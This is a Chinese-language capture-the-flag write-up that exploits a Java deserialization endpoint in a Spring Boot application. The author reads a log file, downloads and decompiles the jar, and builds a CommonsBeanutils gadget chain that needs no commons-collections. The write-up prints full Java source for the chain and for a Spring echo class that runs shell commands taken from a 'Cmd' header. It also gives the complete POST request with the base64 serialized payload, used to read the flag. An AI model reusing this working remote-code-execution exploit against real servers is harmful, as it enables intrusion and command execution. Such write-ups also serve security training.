解题过程

访问网站自动下载了一个log文件。
打开查看内容，提示logname错误，那么可能需要提交logname。
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并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log。
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提交参数仍然返回错误，但可以看到改文件名其实是一个日志文件名，那么他应该是按日分割的，代入今天的年月日。
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发现成功读取到日志文件（这里无法做目录遍历），根据日志内容可判断，该web是springboot，对应的jar包名为cb-0.0.1-SNAPSHOT.jar，尝试是否可以下载jar包。
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成功下载jar包。
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反编译jar包，可以看到刚才访问请求方法为index。
并且发现还存在一个/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser接口，对提交的user参数做base64解码，并进行反序列化，那么该处存在一个反序列化漏洞。
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分析pom.xml文件，发现有commons-beanutils:1.8.2依赖。
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但ysoserial工具里的CommonsBeanutils链，除了依赖commons-beanutils以外，还依赖commons-collections，导致无法使用。
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这里需要找到一条无依赖CC包的利用链，如下图所示：

  1. publicclassCommonsBeanutilsNoCC{
  2. publicstaticvoid setFieldValue(Object obj, String fieldName, Object value) throwsException{
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4.         field.setAccessible(true);
  5.         field.set(obj, value);
  6. }
  7. publicbyte[] getPayload(byte[] clazzBytes) throwsException{
  8. TemplatesImpl obj = newTemplatesImpl();
  9.         setFieldValue(obj, "_bytecodes", newbyte[][]{clazzBytes});
  10.         setFieldValue(obj, "_name", "HelloTemplatesImpl");
  11.         setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());
  12. finalBeanComparator comparator = newBeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  13. finalPriorityQueue<Object> queue = newPriorityQueue<Object>(2, comparator);
  14. // stub data for replacement later
  15.         queue.add("1");
  16.         queue.add("1");
  17.         setFieldValue(comparator, "property", "outputProperties");
  18.         setFieldValue(queue, "queue", newObject[]{obj, obj});
  19. // ==================
  20. // 生成序列化字符串
  21. ByteArrayOutputStream barr = newByteArrayOutputStream();
  22. ObjectOutputStream oos = newObjectOutputStream(barr);
  23.         oos.writeObject(queue);
  24.         oos.close();
  25. return barr.toByteArray();
  26. }
  27. }

上述的clazzBytes需替换成springboot回显class，代码如下：

publicclassSpringEcho{
publicSpringEcho() throwsException{
{
Object httpresponse = null;
try{
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", newClass[0]).invoke(null, newObject[0]);
Object httprequest =  requestAttributes.getClass().getMethod("getRequest", newClass[0]).invoke(requestAttributes, newObject[0]);
                httpresponse =  requestAttributes.getClass().getMethod("getResponse", newClass[0]).invoke(requestAttributes, newObject[0]);
String s = (String)httprequest.getClass().getMethod("getHeader", newClass[]{String.class}).invoke(httprequest, newObject[]{"Cmd"});
if(s != null&& !s.isEmpty()) {
                    httpresponse.getClass().getMethod("setStatus", newClass[]{int.class}).invoke(httpresponse, newObject[]{newInteger(200)});
byte[] cmdBytes;
if(s.equals("echo") ) {
                        cmdBytes = System.getProperties().toString().getBytes();
} else{
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? newString[]{"cmd.exe", "/c", s} : newString[]{"/bin/sh", "-c", s};
                        cmdBytes = new java.util.Scanner(newProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
}
Object getWriter = httpresponse.getClass().getMethod("getWriter", newClass[0]).invoke(httpresponse, newObject[0]);
                    getWriter.getClass().getMethod("write", newClass[]{String.class}).
                        invoke(getWriter, newObject[]{(newString(cmdBytes))});
                    getWriter.getClass().getMethod("flush", newClass[0]).invoke(getWriter, newObject[0]);
                    getWriter.getClass().getMethod("close", newClass[0]).invoke(getWriter, newObject[0]);
}
} catch(Exception e) {
                e.getStackTrace();
}
}
}
}

两者结合生成序列化数据，提交到服务端，数据包如下：

POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/91.0.4472.101Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan
Connection: close
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377
user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54

拿到回显了。
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tmp目录下找到flag文件。
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获取到flag。
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